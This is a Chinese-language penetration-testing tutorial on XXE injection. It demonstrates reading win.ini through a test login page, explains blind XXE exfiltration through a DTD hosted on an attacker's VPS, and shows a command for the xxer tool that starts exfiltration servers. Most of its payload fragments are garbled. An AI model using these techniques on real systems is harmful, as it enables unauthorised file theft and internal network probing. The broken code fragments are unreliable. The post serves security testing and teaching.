漏洞概述
XXE全称XML External Entity,即XML外部实体,所以通常XXE攻击指的就是XML外部实体注入。产生的原因是应用程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的注入漏洞。
而XML名称为可扩展标记语言,是一种用于标记电子文件使其具有结构性的标记语言,XML可以在不兼容的系统之间交换数据,还可以使这些数据能被不同的程序读取。因其良好的特点,在日常应用中是应用广泛,所以在使用XML传递数据的场景下,我们都应该多留意下是否存在XXE漏洞。
XXE漏洞可以带来的危害有:
<code>1
、任意文件读取
2
、进行内网探测,攻击内网
3
、在某些环境下甚至可以命令执行
/<code>
实例测试
1、这里还是先搭建一个网页登录入口
2、抓取登录数据包,可以看到数据传输方式是XML格式,同时登录用户名回显在返回页面
3、因为有用户名回显字段,直接测试poc,读取系统文件
<code> [> ]><
user
><
username
>&aaa;
username
><
password
>bbbbpassword
>user
>/<code>
可成功读取系统win.ini文件
Blind XXE
上述案比较直接,有回显字段,可以直接回显执行结果,但更多的时候,XXE执行后在页面没有回显,也叫Blind XXE,即盲XXE,又该如何测试。
还是上述案例,我们不利用用户名字段做回显,那么就需要搭建一台web服务器,可以借助VPS开web服务,然后在服务器上创建一个文件xxx.dtd(任意用户名),内容为:
<code>> >/<code>
构造POC:其中IP端口是自己的vps服务器
<code> [> %aaa;%ent; ]>/<code>
再提交,这时不利用用户名字段,发现仍然可以攻击成功,这就是Blind XXE的利用方法。
自动化工具XXER
可以看到上述利用需要自己搭建web服务构造EXP,还是比较麻烦,这里提供一款工具(xxer)一键自动化部署并生成攻击EXP。
1、下载xxer(地址:
https://github.com/TheTwitchy/xxer),然后在VPS上利用python执行,-H参数后面跟的是vps地址
<code>python
xxer
.py
-d
ftp
.client_file
.dtd
.template
-H
192.168
.10
.104
/<code>
运行成功会自动在本地开启http和ftp服务,并生成ext.dtd文件,同时显示利用poc代码(图中标记)
2、只需要将上述代码复制到burp中,指定file后面具体读取的文件路劲,发送请求即可攻击成功
简单随笔分享,希望对大家有所帮助,将持续分享实战有效的渗透测试、攻防测试经验技巧。